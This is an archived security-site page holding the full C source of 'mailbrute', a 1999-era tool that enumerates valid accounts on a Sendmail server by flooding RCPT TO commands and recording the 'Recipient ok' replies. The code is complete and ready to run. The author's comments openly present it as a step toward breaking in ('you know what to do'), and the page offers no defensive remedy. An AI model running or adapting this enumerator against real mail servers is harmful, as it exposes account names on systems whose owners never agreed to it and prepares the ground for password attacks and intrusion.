what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mailbrute.c

mailbrute.c
Posted Feb 11, 2000
Authored by Axess

Sendmail bruteforcer to look for valid accounts. Uses the RCPT command.

tags | tool, scanner
systems | unix
SHA-256 | 15f70acbf9f93a3e8b2d5dd1526e48ec7ac1f5f62831204e0b5400972bc42b46

mailbrute.c

Change Mirror Download
/*
* mailbrute
* By axess ( axess@mail.com ) in Nov-1999
*
* Damn ugly sendmail bruteforcer for valid accounts.
* But it werks and just proves this and i will not make this better.
*
* The story about it is that sendmail take how many rcpt to:
* as we want to send and never disconnect the user, that tries more.
* Well, why it is like this can any one with any brain figure out =)
* But this is also a real good way to bruteforce for valid accounts. heh
*
* Say helo to it.
* Just pick an mail from: and then we are ready to brute it.
* We wont get disconnected when we just fast send
* rcpt to: username from an userlist of lets say 1000
* of the most used usernames you can think of.
* Like this..
*
* 550 test... User unknown
* rcpt to:test2
* 550 test2... User unknown
* rcpt to:test3
* 550 test3... User unknown
* rcpt to:axess
* 250 axess... Recipient ok
*
* Ohh, then we know that axess is an user on the remote computer.
*
* Usage : ./mailbrute <host> <userlist> <outfile>
*
* Look in the outfile for valid ones.
*
* After you got some accounts..
* Yea well you know what to do.
*
* Solution:
* Well , i cant figure out a real good way but this is not easy
* and make a maillog that is not of this world so if anyone think
* this is a good way to hack . feel free to do it.
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>

int main (int argc, char **argv)
{
struct sockaddr_in server;
struct hostent *hp;
int s;
char helo[100];
char mail[100];
char rcpt[100];
char gibme[500];
char name[1024];

FILE *ip;
FILE *of;

if(argc < 4)
{
printf("\n\n mailbrute ( sendmail account bruteforcer ) \n");
printf(" By axess ( axess@mail.com ) in Dec-1999 \n");
printf(" \n");
printf(" Usage: %s <host> <userlist> <outfile>\n", argv[0]);
printf(" \n\n");
exit(0);
}

if((hp = gethostbyname (argv[1])) == NULL) {
printf ("Could not resolve %s.\n", argv[1]);
exit(1); }

if((ip = fopen(argv[2], "r")) == NULL) {
printf("Error: input file does not exist\n");
exit(1); }

if((of = fopen(argv[3], "w")) == NULL) {
printf("Error: Cant write to file?\n");
exit(1); }

if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Error");
exit(1); }

server.sin_family = AF_INET;
server.sin_port = htons (25);
server.sin_addr.s_addr = *(u_long *) hp->h_addr;
bzero (&(server.sin_zero), 8);

if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) {
printf ("Connection refused\n");
exit(1); }

sprintf (helo, "helo mail\r\n");
sprintf (mail, "mail from:mailme@hotmail.com\r\n");
send (s, helo, strlen (helo), 0);
send (s, mail, strlen (mail), 0);

while(fscanf(ip, "%s", name) != EOF) {
fprintf(of,"Username %s \n",name);

sprintf (rcpt, "rcpt to:%s\r\n",name);
send (s, rcpt, strlen (rcpt), 0);
recv(s,gibme, sizeof(gibme),0);

if((strstr(gibme, "Recipient") != NULL)) {
fprintf(of,"%s",gibme);
} }
close (s);
exit(0);
}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close